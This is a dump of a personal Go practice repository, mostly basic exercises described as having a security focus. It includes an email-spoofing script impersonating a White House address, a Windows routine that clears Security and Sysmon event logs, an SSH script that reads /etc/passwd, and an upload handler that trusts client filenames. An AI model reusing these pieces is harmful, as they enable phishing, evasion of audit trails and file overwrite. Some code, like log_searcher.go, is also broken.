├── README.md ├── upload.gtpl ├── min_max.go ├── gui.go ├── struct_practice.go ├── pythagorean.go ├── run_cmd.go ├── copy_temp.go ├── pick_peaks.go ├── routine_channel_example.go ├── permutations.go ├── mac_address.go ├── web_server.go ├── web_upload_server.go ├── routine_example.go ├── triangle_example.go ├── ssh_cmd.go ├── string_work.go ├── hello_world.go ├── random_draw.go ├── log_searcher.go ├── simple_sendmail.go ├── shadow_hash_util.go ├── win_powershell.go ├── web_requester.go ├── xor.go ├── file_manipulation.go ├── win_reg.go ├── ssh_server.go └── win_process_injection.go /README.md: -------------------------------------------------------------------------------- 1 | # GLSE 2 | GoLang Scripting Expert, a repo for template scripts regarding basic golang functions, many with a security focus 3 | -------------------------------------------------------------------------------- /upload.gtpl: -------------------------------------------------------------------------------- 1 | 2 | 3 | Upload file template 4 | 5 | 6 |
7 | 8 | 9 |
10 | 11 | 12 | -------------------------------------------------------------------------------- /min_max.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "fmt" 4 | 5 | var max, min int 6 | 7 | func main() { 8 | datArray := []int{1,2,3,4,5,6,7,8,9,0} 9 | 10 | datMax := maxz(datArray) 11 | fmt.Println("Max int in the array: ", datMax) 12 | 13 | datMin := minz(datArray) 14 | fmt.Println("Min int in the array: ", datMin) 15 | } 16 | 17 | func maxz(someArray []int) int { 18 | for _, num := range someArray { 19 | if num > max { 20 | max = num 21 | } 22 | } 23 | return max 24 | } 25 | 26 | func minz(someArray []int) int{ 27 | for _, num := range someArray { 28 | if num < min { 29 | min = num 30 | } 31 | } 32 | return min 33 | } 34 | -------------------------------------------------------------------------------- /gui.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "log" 5 | "github.com/andlabs/ui" 6 | ) 7 | 8 | var window *ui.Window 9 | 10 | func main() { 11 | err := ui.Main(func() { 12 | window = ui.NewWindow("Basic GUI!", 250, 80, false) 13 | box := ui.NewVerticalBox() 14 | 15 | saveButton := ui.NewButton("Exit") 16 | 17 | saveButton.OnClicked(func(b *ui.Button) { 18 | ui.Quit() 19 | }) 20 | box.Append(saveButton, false) 21 | 22 | window.SetChild(box) 23 | window.SetMargined(true) 24 | 25 | window.OnClosing(func(*ui.Window) bool { 26 | ui.Quit() 27 | return true 28 | }) 29 | window.Show() 30 | 31 | }) 32 | if err != nil { 33 | log.Fatalln(err) 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /struct_practice.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | ) 6 | 7 | type newNew struct { 8 | Name string 9 | X int 10 | } 11 | 12 | func (p newNew) lolol() { 13 | p.X = (p.X + 2) 14 | fmt.Printf("Address of %s: %x\n", p.Name, p.Name) 15 | } 16 | 17 | func (p *newNew) whoa() { 18 | p.X = (p.X + 2) 19 | } 20 | 21 | func main(){ 22 | lel := newNew{"Ez", 3} 23 | lol := newNew{"Ok", 5} 24 | fmt.Printf("Address of %s: %x\n", lel.Name, lel.Name) 25 | lel.lolol() 26 | fmt.Printf("Value of %s: %d\n", lol.Name, lol.X) 27 | lol.whoa() 28 | fmt.Printf("Value of %x: %d\n", lol.Name, lol.X) 29 | lol.lolol() 30 | fmt.Printf("Value of %x: %d\n", lol.Name, lol.X) 31 | } 32 | -------------------------------------------------------------------------------- /pythagorean.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "math" 5 | "fmt" 6 | "os" 7 | "strconv" 8 | ) 9 | 10 | func main(){ 11 | 12 | fmt.Println("a^2 + b^2 = c^2") 13 | fmt.Println("Arg1 = a; Arg2 = b") 14 | 15 | leg1 := os.Args[1] 16 | leg2 := os.Args[2] 17 | var err error 18 | // Convert our command line strings to Ints 19 | var legA, legB int 20 | if legA, err = strconv.Atoi(leg1); err != nil { 21 | panic(err) 22 | } 23 | if legB, err = strconv.Atoi(leg2); err != nil { 24 | panic(err) 25 | } 26 | fmt.Println(int(legA), int(legB)) 27 | hypotenuse := math.Sqrt(math.Pow(float64(legA),2) + math.Pow(float64(legB),2)) 28 | fmt.Println(hypotenuse) 29 | 30 | } 31 | -------------------------------------------------------------------------------- /run_cmd.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import( 4 | "os" 5 | "os/exec" 6 | "fmt" 7 | ) 8 | 9 | func helpMenu(){ 10 | fmt.Println("Usage: ./run_cmd hostname -a") 11 | } 12 | 13 | func main() { 14 | // First get our user Args 15 | if len(os.Args) > 1 { 16 | argCmd := os.Args[1] 17 | resultz, err := RunCommand(argCmd, []string{}) 18 | if err != nil { 19 | fmt.Println(err) 20 | } else { 21 | fmt.Println(resultz) 22 | } 23 | } else { 24 | helpMenu() 25 | } 26 | } 27 | 28 | func RunCommand(cmd string, args []string) (string, error) { 29 | out, err := exec.Command(cmd, args...).CombinedOutput() 30 | if err != nil { 31 | return string(out), err 32 | } 33 | return string(out), nil 34 | } 35 | -------------------------------------------------------------------------------- /copy_temp.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "io/ioutil" 5 | "os" 6 | "path" 7 | ) 8 | 9 | func writeTempFile(name string, fileData []byte) string { 10 | fileGuy, err := ioutil.TempFile("", name) 11 | if err != nil { 12 | return "Error creating temp file" 13 | } 14 | _, err = fileGuy.Write(fileData) 15 | if err != nil { 16 | return "Error writing the temp file" 17 | } 18 | err = fileGuy.Close() 19 | if err != nil { 20 | return "Error closing the temp file" 21 | } 22 | filepath := path.Join(fileGuy.Name()) 23 | return filepath 24 | } 25 | 26 | func main() { 27 | // First get file to copy 28 | argFile := os.Args[1] 29 | dat, err := ioutil.ReadFile(argFile) 30 | if err != nil { 31 | panic(err) 32 | } 33 | location := writeTempFile("test", dat) 34 | println(location) 35 | } 36 | -------------------------------------------------------------------------------- /pick_peaks.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "fmt" 4 | 5 | type PosPeaks struct { 6 | Pos []int 7 | Peaks []int 8 | } 9 | 10 | func main() { 11 | datArray := []int{7,1,2,7,9,43,2,5,7,9,0,3,4,1,4} 12 | myPeaks := PickPeaks(datArray) 13 | fmt.Println(myPeaks) 14 | } 15 | 16 | func PickPeaks(array []int) PosPeaks { 17 | var pos, peaks []int 18 | var tmp, large int 19 | peak_switch := false 20 | large_index := 100 21 | for index, item := range array { 22 | if index == 0 { 23 | tmp = item 24 | } else if item > tmp { 25 | large = item 26 | large_index = index 27 | peak_switch = true 28 | } else if item < tmp && peak_switch == true { 29 | pos = append(pos, large_index) 30 | peaks = append(peaks, large) 31 | peak_switch = false 32 | } 33 | tmp = item 34 | } 35 | if pos == nil { 36 | pos = make([]int, 0) 37 | peaks = make([]int, 0) 38 | } 39 | return PosPeaks{pos, peaks} 40 | } 41 | -------------------------------------------------------------------------------- /routine_channel_example.go: -------------------------------------------------------------------------------- 1 | // Inspired via the golang book: https://www.golang-book.com/books/intro/10 2 | package main 3 | 4 | import ( 5 | "fmt" 6 | "time" 7 | "math/rand" 8 | ) 9 | 10 | func main() { 11 | var c chan string = make(chan string) 12 | go pinger(c) 13 | go ponger(c) 14 | go printer(c) 15 | var input string 16 | fmt.Scanln(&input) 17 | } 18 | // To be run as an infinate child thread 19 | func pinger(c chan string) { 20 | for i := 0; ; i++ { 21 | //amt := time.Duration(rand.Intn(250)) 22 | //time.Sleep(time.Millisecond * amt) 23 | c <- fmt.Sprintf("(ping %d)", i) 24 | } 25 | } 26 | // Runs our threads at different speeds 27 | func ponger(c chan string) { 28 | for i := 0; ; i++ { 29 | amt := time.Duration(rand.Intn(250)) 30 | time.Sleep(time.Millisecond * amt) 31 | c <- fmt.Sprintf("(pong %d)", i) 32 | } 33 | } 34 | // Prints our results at a constant interval 35 | func printer(c chan string) { 36 | for { 37 | msg := <- c 38 | fmt.Println(msg) 39 | time.Sleep(time.Second * 1) 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /permutations.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "fmt" 4 | 5 | var count int 6 | 7 | func main() { 8 | datArray := []string{"y","u", "lol"} 9 | // Test prints 10 | //fmt.Println(datArray[0]) 11 | //fmt.Println(datArray[1]) 12 | //fmt.Println(datArray[2]) 13 | //fmt.Println(datArray) 14 | count = 0 15 | permute(0, datArray) 16 | fmt.Println(count) 17 | } 18 | 19 | // Our recursive permutation function 20 | func permute(start int, substring []string) { 21 | // Main FOR loop for our factorial 22 | for index := start; index < len(substring); index++ { 23 | // switch the two chars at the index 24 | temps := substring[start] 25 | substring[start] = substring[index] 26 | substring[index] = temps 27 | // recurse 28 | permute((start + 1), substring) 29 | // switch the chars back 30 | substring[index] = substring[start] 31 | substring[start] = temps 32 | } 33 | if (start == (len(substring)-1)) { 34 | // At the end of each permutation we print the line and a count 35 | fmt.Println(substring) 36 | count++ 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /mac_address.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import( 4 | "fmt" 5 | "net" 6 | "strings" 7 | ) 8 | 9 | func main() { 10 | fmt.Println(GetMACAddress()) 11 | } 12 | 13 | func GetMACAddress() string { 14 | addrs, err := net.InterfaceAddrs() 15 | if err != nil { 16 | fmt.Println(err) 17 | } 18 | 19 | var currentIP, currentNetworkHardwareName string 20 | 21 | for _, address := range addrs { 22 | if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { 23 | if ipnet.IP.To4() != nil { 24 | currentIP = ipnet.IP.String() 25 | } 26 | } 27 | } 28 | 29 | interfaces, _ := net.Interfaces() 30 | for _, interf := range interfaces { 31 | 32 | if addrs, err := interf.Addrs(); err == nil { 33 | for _, addr := range addrs { 34 | if strings.Contains(addr.String(), currentIP) { 35 | currentNetworkHardwareName = interf.Name 36 | } 37 | } 38 | } 39 | } 40 | 41 | netInterface, err := net.InterfaceByName(currentNetworkHardwareName) 42 | if err != nil { 43 | fmt.Println(err) 44 | } 45 | 46 | macAddress := netInterface.HardwareAddr 47 | return macAddress.String() 48 | } 49 | -------------------------------------------------------------------------------- /web_server.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "net/http" 5 | "io" 6 | "fmt" 7 | "time" 8 | ) 9 | //Global var 10 | var strCmd string 11 | 12 | func main() { 13 | fmt.Println("Welcome friends!") 14 | strCmd = "defaultz" 15 | EZServer(":8080") 16 | secondz := 10 17 | fmt.Println(fmt.Sprintf("Serving content for %d seconds!", secondz)) 18 | time.Sleep(1000*time.Duration(secondz)*time.Millisecond) 19 | strCmd = "something new!" 20 | fmt.Println(fmt.Sprintf("Serving different content for the %d seconds!", secondz)) 21 | time.Sleep(1000*time.Duration(secondz)*time.Millisecond) 22 | } 23 | 24 | // Silly server defined on a specific port w/ certain paths and functions 25 | func EZServer(port string) { 26 | go func() { 27 | http.HandleFunc("/", hello_world) 28 | http.HandleFunc("/cmd", cmd) 29 | err := http.ListenAndServe(port, nil) 30 | if err != nil { 31 | fmt.Println(err) 32 | } 33 | }() 34 | } 35 | // example handlers 36 | func hello_world(w http.ResponseWriter, r *http.Request) { 37 | io.WriteString(w, "Hello world!") 38 | } 39 | func cmd(w http.ResponseWriter, r *http.Request ) { 40 | io.WriteString(w, strCmd) 41 | } 42 | -------------------------------------------------------------------------------- /web_upload_server.go: -------------------------------------------------------------------------------- 1 | // Largly taken from https://gist.github.com/anujsinghwd/a5b07db628012b99f875a431d081a490 2 | package main 3 | 4 | import ( 5 | "crypto/md5" 6 | "fmt" 7 | "io" 8 | "net/http" 9 | "os" 10 | "strconv" 11 | "text/template" 12 | "time" 13 | ) 14 | 15 | func main() { 16 | http.HandleFunc("/upload", upload) 17 | http.ListenAndServe("127.0.0.1:8000", nil) 18 | } 19 | 20 | func upload(w http.ResponseWriter, r *http.Request) { 21 | fmt.Println("method:", r.Method) 22 | if r.Method == "GET" { 23 | crutime := time.Now().Unix() 24 | h := md5.New() 25 | io.WriteString(h, strconv.FormatInt(crutime, 10)) 26 | token := fmt.Sprintf("%x", h.Sum(nil)) 27 | 28 | t, _ := template.ParseFiles("upload.gtpl") 29 | t.Execute(w, token) 30 | } else { 31 | r.ParseMultipartForm(32 << 20) 32 | file, handler, err := r.FormFile("uploadfile") 33 | if err != nil { 34 | fmt.Println(err) 35 | return 36 | } 37 | defer file.Close() 38 | fmt.Fprintf(w, "%v", handler.Header) 39 | f, err := os.OpenFile("./"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666) 40 | if err != nil { 41 | fmt.Println(err) 42 | return 43 | } 44 | defer f.Close() 45 | io.Copy(f, file) 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /routine_example.go: -------------------------------------------------------------------------------- 1 | // Inspired via the golang book: https://www.golang-book.com/books/intro/10 2 | package main 3 | 4 | import "fmt" 5 | import "time" 6 | import "math/rand" 7 | 8 | func main() { 9 | go i(0) 10 | for y := 0; y < 10; y++ { 11 | go i(y) 12 | } 13 | var input string 14 | fmt.Println("Enter a single string") 15 | // Scan for user input and collect it in the input var 16 | fmt.Scanln(&input) 17 | for z := 0; z < len(input); z++ { 18 | //go s_parts(input, z) 19 | go s_full(input, z) 20 | } 21 | time.Sleep(1000*time.Duration(5)*time.Millisecond) 22 | fmt.Println("Done!") 23 | } 24 | 25 | func s_full(in string, index int) { 26 | for i := 0; i < len(in); i++ { 27 | amt := time.Duration(rand.Intn(250)) 28 | time.Sleep(time.Millisecond * amt) 29 | fmt.Println(in, ":", index, ":", i) 30 | } 31 | } 32 | 33 | func s_parts(in string, index int) { 34 | for i, part := range in { 35 | amt := time.Duration(rand.Intn(250)) 36 | time.Sleep(time.Millisecond * amt) 37 | fmt.Println(part, ":", index, ":", i) 38 | } 39 | } 40 | 41 | func i(n int) { 42 | for x := 0; x < 10; x++ { 43 | amt := time.Duration(rand.Intn(250)) 44 | time.Sleep(time.Millisecond * amt) 45 | fmt.Println(n, ":", x) 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /triangle_example.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os" 5 | "fmt" 6 | "strconv" 7 | ) 8 | 9 | func main() { 10 | if len(os.Args) > 1 { 11 | arg1 := os.Args[1] 12 | arg2 := os.Args[2] 13 | arg3 := os.Args[3] 14 | var argi1, argi2, argi3 int 15 | argi1, err := strconv.Atoi(arg1) 16 | if err != nil { 17 | panic(err) 18 | } 19 | argi2, err = strconv.Atoi(arg2) 20 | if err != nil { 21 | panic(err) 22 | } 23 | argi3, err = strconv.Atoi(arg3) 24 | if err != nil { 25 | panic(err) 26 | } 27 | resultz := IsTriangle(argi1, argi2, argi3) 28 | if resultz == true { 29 | fmt.Println("The ints provided can form a triangle") 30 | } else { 31 | fmt.Println("The ints provided can not form a triangle") 32 | } 33 | } else { 34 | fmt.Println("Please provide 3 integers to see if they can form a triangle") 35 | } 36 | } 37 | 38 | func IsTriangle(a, b, c int) bool { 39 | var t1, t2, t3 bool 40 | 41 | if ((a + b) > c) { t1 = true 42 | } else { t1 = false } 43 | 44 | if ((a + c) > b) { t2 = true 45 | } else { t2 = false } 46 | 47 | if ((b + c) > a) { t3 = true 48 | } else { t3 = false } 49 | 50 | if (t1 && t2 && t3) == true { return true 51 | } else { return false } 52 | } 53 | -------------------------------------------------------------------------------- /ssh_cmd.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "io/ioutil" 5 | "log" 6 | "os" 7 | 8 | "golang.org/x/crypto/ssh" 9 | ) 10 | 11 | var username = "user" 12 | var host = "examplehost.com:22" 13 | var privateKeyFile = "/home/user/.ssh/id_rsa" 14 | var commandToExecute = "cat /etc/passwd" 15 | 16 | func getKeySigner(privateKeyFile string) ssh.Signer { 17 | privateKeyData, err := ioutil.ReadFile(privateKeyFile) 18 | if err != nil { 19 | log.Fatal("Error loading private key file. ", err) 20 | } 21 | privateKey, err := ssh.ParsePrivateKey(privateKeyData) 22 | if err != nil { 23 | log.Fatal("Error parsing private key.", err) 24 | } 25 | return privateKey 26 | } 27 | 28 | func main() { 29 | privateKey := getKeySigner(privateKeyFile) 30 | config := &ssh.ClientConfig{ 31 | User: username, 32 | Auth: []ssh.AuthMethod{ 33 | ssh.PublicKeys(privateKey), 34 | }, 35 | HostKeyCallback: ssh.InsecureIgnoreHostKey(), 36 | } 37 | client, err := ssh.Dial("tcp", host, config) 38 | if err != nil { 39 | log.Fatal("Error dialing server. ", err) 40 | } 41 | session, err := client.NewSession() 42 | if err != nil { 43 | log.Fatal("Failed to create session:", err) 44 | } 45 | defer session.Close() 46 | session.Stdout = os.Stdout 47 | 48 | err = session.Run(commandToExecute) 49 | if err != nil { 50 | log.Fatal("Error executing command.", err) 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /string_work.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | //"os" 6 | "strings" 7 | ) 8 | 9 | func main() { 10 | var lol, lel string 11 | var lolol, lelel, ss []string 12 | lol = "ok I just fixed it" 13 | lel = "ok lets dance" 14 | lo := "we might have a problem" 15 | le := "what should we do" 16 | lolol = append(lolol, lo) 17 | lolol = append(lolol, le) 18 | lelel = append(lelel, lol) 19 | lelel = append(lelel, lel) 20 | ss = append(lolol, lelel[0]) 21 | ss = append(ss, lelel[1]) 22 | with_Slices(ss) 23 | with_Strings(ss) 24 | } 25 | 26 | 27 | func with_Strings(work []string) { 28 | fmt.Printf("dat work: %s\n", work) 29 | for i, sent := range work { 30 | fmt.Printf("sentance %d: %s\n", i, sent) 31 | wordz := strings.Split(sent, " ") 32 | for j, wordo := range wordz { 33 | fmt.Printf("word %d: %s\n", j, wordo) 34 | reado := strings.NewReader(wordo) 35 | for k, _ := range wordo { 36 | charo, _, _ := reado.ReadRune() 37 | fmt.Printf("char %d: %s\n", k, string(charo)) 38 | } 39 | } 40 | } 41 | } 42 | 43 | func with_Slices(work []string) { 44 | fmt.Printf("dat work: %s\n", work) 45 | for i, sent := range work { 46 | fmt.Printf("sentance %d: %s\n", i, string(sent)) 47 | for j, charz := range sent { 48 | fmt.Printf("char %d: %s\n", j, string(charz)) 49 | } 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /hello_world.go: -------------------------------------------------------------------------------- 1 | /* Developed while practicing with https://learnxinyminutes.com/docs/go/ */ 2 | // simple program that plays with language basics 3 | package main 4 | // single import 5 | import "fmt" 6 | // group import 7 | import ( 8 | "math" 9 | "math/rand" 10 | "time" 11 | ) 12 | 13 | func main(){ 14 | // defer lets us run this last 15 | defer fmt.Println("Finished Exection!") 16 | // Simple print 17 | fmt.Println("Hello", "Friend") 18 | // private functions are lowercase 19 | //privateFunc() 20 | // Public functions are captialized 21 | PublicFunc() 22 | } 23 | 24 | // create a private interface of one function 25 | type stringPair interface { 26 | string() string 27 | } 28 | // create a struct named pair with two fields 29 | type pair struct { 30 | x, y float64 31 | } 32 | // create a function that uses our struct, 33 | func (p pair) string() string { // p is called the "receiver" 34 | return fmt.Sprintf("(%f, %f)", p.x, p.y) 35 | } 36 | func privateFunc() { 37 | // decalre a bunch of variables without initalizing them 38 | var ranA, ranB, ranC, ranD, ranE float64 39 | // assign values to already initalized vars 40 | ranA = random(50, 75) 41 | ranB = random(1,10) 42 | ranC = random(2,99) 43 | ranD = random(4, 8) 44 | ranE = random(1, 3) 45 | // declare and initalize at the same time 46 | ranFinA := (((math.Pow(ranA, ranE)*ranE*ranC)/ranD)/ranB) 47 | ranFinB := ((math.Pow(ranB,ranD)*ranC*ranE)/ranD) 48 | // declare and initalize a struct 49 | myPair := pair{ranFinA, ranFinB} 50 | fmt.Println(myPair.string()) 51 | } 52 | func random(min, max int) float64 { 53 | rand.Seed(time.Now().Unix()) 54 | return float64(rand.Intn(max - min) + min) 55 | } 56 | 57 | func PublicFunc() { 58 | fmt.Println("lololololololololol") 59 | privateFunc() 60 | fmt.Println("lololololololololol") 61 | } 62 | -------------------------------------------------------------------------------- /random_draw.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "image" 5 | "image/color" 6 | "image/png" 7 | "os" 8 | "math/rand" 9 | "time" 10 | ) 11 | 12 | var size int = 100 13 | var half int = size/2 14 | var img = image.NewRGBA(image.Rect(0, 0, size, size)) 15 | var col color.Color 16 | 17 | func main() { 18 | for i := 0; i < size; i++ { 19 | // Make a cross hatch pattern, where we layer horizontal lines, then vertical lines 20 | col = color.RGBA{uint8(random(100,200)), uint8(random(50,200)), uint8(random(0,100)), uint8(random(200,255))} // random1 21 | HLine(0, i, size) 22 | col = color.RGBA{uint8(random(0,50)), uint8(random(200,255)), uint8(random(100,200)), uint8(random(200,255))} // random2 23 | VLine(i, 0, size) 24 | // Draw random rectangles on top of our Cross hatch 25 | for e := i+1; e < size; e++ { 26 | col = color.RGBA{uint8(random(0,255)), uint8(random(0,255)), uint8(random(0,255)), uint8(random(200,255))} // random1 27 | Rect(random(0,half),random(0,half),random(0,half),random(0,half)) 28 | } 29 | } 30 | f, err := os.Create("draw.png") 31 | if err != nil { 32 | panic(err) 33 | } 34 | defer f.Close() 35 | png.Encode(f, img) 36 | } 37 | 38 | // HLine draws a horizontal line 39 | func HLine(x1, y, x2 int) { 40 | for ; x1 <= x2; x1++ { 41 | img.Set(x1, y, col) 42 | } 43 | } 44 | 45 | // VLine draws a veritcal line 46 | func VLine(x, y1, y2 int) { 47 | for ; y1 <= y2; y1++ { 48 | img.Set(x, y1, col) 49 | } 50 | } 51 | 52 | // Rect draws a rectangle utilizing HLine() and VLine() 53 | func Rect(x1, y1, x2, y2 int) { 54 | HLine(x1, y1, x2) 55 | HLine(x1, y2, x2) 56 | VLine(x1, y1, y2) 57 | VLine(x2, y1, y2) 58 | } 59 | 60 | func random(min, max int) int { 61 | rand.Seed(time.Now().Unix()) 62 | return rand.Intn(max - min) + min 63 | } 64 | -------------------------------------------------------------------------------- /log_searcher.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "io/ioutil" 7 | "strings" 8 | "strconv" 9 | ) 10 | 11 | func main() { 12 | // Plan is to search a set of log files 13 | // For requests that response size is greater than 1024 14 | // HTTP method is POST 15 | 16 | pathToDir := os.Args[1] 17 | searchDirsForFiles(pathToDir) 18 | } 19 | 20 | 21 | func searchDirsForFiles(pathToDir string) { 22 | files, err := ioutil.ReadDir(pathToDir) 23 | if err != nil { 24 | fmt.Println(err) 25 | } 26 | for _, file := range files { 27 | fmt.Println(file.Name()) 28 | if file.IsDir() { 29 | fmt.Println("File is a dir, not searching") 30 | } else { 31 | searchFilesForCriteria(pathToDir, file.Name()) 32 | } 33 | } 34 | } 35 | 36 | // to be used on NGinx http logs 37 | func searchFilesForCriteria(pathToDir, fileName string) { 38 | // first we need to read our file in 39 | criteria1, criteria2 := false, false 40 | // Recreate our full file path to read the files being searched 41 | fullPath := strings.Join([]string{pathToDir, filename}, "") 42 | fmt.Println(fullPath) 43 | fileData, err := ioutil.ReadFile(fullPath) 44 | if err !=nil { 45 | fmt.Println(err) 46 | } 47 | fileLines := strings.Split(string(fileData), "\n") 48 | for i, line := range fileLines { 49 | //fmt.Println(string(content)) 50 | //criteria1 := strings.Contains(content, "") 51 | vals := strings.Split(string(line), " ") 52 | // Check our methods in the logs for POST 53 | for _, value := range vals { 54 | fmt.Println(string(value)) 55 | } 56 | if string(vals[5]) == "POST" { 57 | criteria1 = true 58 | } 59 | //sets up criteria2 60 | respTime, err := strconv.Atoi(vals[10]) 61 | if err != nil { 62 | fmt.Println(err) 63 | } 64 | if respTime > 1024 { 65 | criteria2 = true 66 | } 67 | if ((criteria1 && criteria2) == true) { 68 | fmt.Printf("The file %s, matched on line %d\n", fileName, i ) 69 | } 70 | 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /simple_sendmail.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "log" 7 | "net/smtp" 8 | "strings" 9 | gomail "gopkg.in/gomail.v2" 10 | ) 11 | 12 | var ( 13 | sendmail = "/usr/sbin/sendmail" 14 | userList = []string{ 15 | "test11@mailinator.com", 16 | "test12@mailinator.com", 17 | "test13@mailinator.com", 18 | } 19 | body = ` 20 | Hello Friend, 21 | Thank you for subscribing. 22 | Have some linkz 23 | Bye! 24 | ` 25 | ) 26 | 27 | type Mail struct { 28 | Sender string 29 | To []string 30 | Cc []string 31 | Bcc []string 32 | Subject string 33 | Body string 34 | } 35 | 36 | func main(){ 37 | fmt.Println("Sending spoofed email now!") 38 | sendSampleEmail() 39 | fmt.Println("Succesfully sent emails!") 40 | } 41 | 42 | func (mail *Mail) BuildMessage() string { 43 | header := "" 44 | header += fmt.Sprintf("From: %s\r\n", mail.Sender) 45 | if len(mail.To) > 0 { 46 | header += fmt.Sprintf("To: %s\r\n", strings.Join(mail.To, ";")) 47 | } 48 | if len(mail.Cc) > 0 { 49 | header += fmt.Sprintf("Cc: %s\r\n", strings.Join(mail.Cc, ";")) 50 | } 51 | header += fmt.Sprintf("Subject: %s\r\n", mail.Subject) 52 | header += "\r\n" + mail.Body 53 | return header 54 | } 55 | 56 | func sendSampleEmail() { 57 | // Connect to the SMTP server. 58 | c, err := smtp.Dial("mail.mailinator.com:25") 59 | if err != nil { 60 | log.Fatal(err) 61 | } 62 | defer c.Close() 63 | m := gomail.NewMessage() 64 | m.SetHeader("From", "obama@whitehouse.gov", "Barack Obama") 65 | m.SetHeader("To", "test11@mailinator.com") 66 | //m.SetHeader("Bcc", userList...) 67 | m.SetHeader("Subject", "Thanks for Subscribing!") 68 | m.SetBody("text/html", body) 69 | buf := new(bytes.Buffer) 70 | m.WriteTo(buf) 71 | c.Mail("obama@whitehouse.gov") 72 | c.Rcpt("test11@mailinator.com") 73 | wc, err := c.Data() 74 | if err != nil { 75 | log.Fatal(err) 76 | } 77 | defer wc.Close() 78 | if _, err = buf.WriteTo(wc); err != nil { 79 | log.Fatal(err) 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /shadow_hash_util.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "github.com/tredoe/osutil/user/crypt" 5 | "github.com/tredoe/osutil/user/crypt/apr1_crypt" 6 | "github.com/tredoe/osutil/user/crypt/md5_crypt" 7 | "github.com/tredoe/osutil/user/crypt/sha256_crypt" 8 | "github.com/tredoe/osutil/user/crypt/sha512_crypt" 9 | "os" 10 | "fmt" 11 | ) 12 | 13 | func helpMenu(){ 14 | fmt.Println("APR1 hash: ./shadow_hash_util -apr1 data_to_hash") 15 | fmt.Println("MD5 hash: ./shadow_hash_util -md5 data_to_hash") 16 | fmt.Println("SHA256 hash: ./shadow_hash_util -sha256 data_to_hash") 17 | fmt.Println("SHA512 hash: ./shadow_hash_util -sha512 data_to_hash") 18 | fmt.Println("For help: ./shadow_hash_util -h") 19 | } 20 | 21 | func main() { 22 | // First get our user Args 23 | if len(os.Args) > 1 { 24 | argFlag := os.Args[1] 25 | // Our Help Option 26 | if argFlag == "-h"{ 27 | helpMenu() 28 | } else if os.Args[1] == "-apr1"{ 29 | apr1, err := GenShadowHash(os.Args[2], "apr1") 30 | if err != nil { 31 | fmt.Println(err) 32 | } else { 33 | fmt.Println("APR1 Hash: ", apr1) 34 | } 35 | } else if os.Args[1] == "-md5"{ 36 | md5, err := GenShadowHash(os.Args[2], "md5") 37 | if err != nil { 38 | fmt.Println(err) 39 | } else { 40 | fmt.Println("MD5 Hash: ", md5) 41 | } 42 | } else if os.Args[1] == "-sha256"{ 43 | sha256, err := GenShadowHash(os.Args[2], "sha256") 44 | if err != nil { 45 | fmt.Println(err) 46 | } else { 47 | fmt.Println("SHA256 Hash: ", sha256) 48 | } 49 | } else if os.Args[1] == "-sha512" { 50 | sha512, err := GenShadowHash(os.Args[2], "sha512") 51 | if err != nil { 52 | fmt.Println(err) 53 | } else { 54 | fmt.Println("SHA512 Hash: ", sha512) 55 | } 56 | } else { 57 | helpMenu() 58 | } 59 | } else { 60 | helpMenu() 61 | } 62 | } 63 | 64 | //Generate different Shadow file hash types 65 | func GenShadowHash(input, hashType string) (string, error) { 66 | var box crypt.Crypter 67 | switch hashType { 68 | case "apr1": 69 | box = apr1_crypt.New() 70 | case "md5": 71 | box = md5_crypt.New() 72 | case "sha256": 73 | box = sha256_crypt.New() 74 | case "sha512": 75 | box = sha512_crypt.New() 76 | default: 77 | box = sha512_crypt.New() 78 | } 79 | hash, err := box.Generate([]byte(input), []byte{}) 80 | if err != nil { 81 | return "", err 82 | } 83 | return hash, nil 84 | } 85 | -------------------------------------------------------------------------------- /win_powershell.go: -------------------------------------------------------------------------------- 1 | // GOOS=windows GOARCH=amd64 go build win_powershell.go 2 | package main 3 | 4 | import ( 5 | ps "github.com/gorillalabs/go-powershell" 6 | "github.com/gorillalabs/go-powershell/backend" 7 | //"golang.org/x/text/encoding/unicode" 8 | //"encoding/base64" 9 | "fmt" 10 | "time" 11 | ) 12 | 13 | // https://github.com/jteeuwen/go-bindata 14 | // We use items embeded in here from go-bindata assets shared to the target package 15 | // Make sure to regenerate the included assets if you adding anything like so: 16 | // go-bindata -nomemcopy -nometadata -pkg main -o bindata.go scripts/target_script.ps1 17 | 18 | func main() { 19 | //fmt.Println("Running an embeded test script") 20 | //Select_Embedded_Script() 21 | fmt.Println("Clearing some event logs in 10sec!") 22 | time.Sleep(1000*time.Duration(10)*time.Millisecond) 23 | ClearEventLogs() 24 | } 25 | 26 | // ClearEventLogs : comment information goes here 27 | func ClearEventLogs() { 28 | //Clear-EventLog Security, Application, Sysmon, System, "Windows PowerShell" 29 | RunPowerShell(`Clear-EventLog Security, Application, System`) 30 | RunPowerShell(`Clear-EventLog "Windows PowerShell"`) 31 | RunPowerShell(`Clear-EventLog Sysmon`) 32 | } 33 | 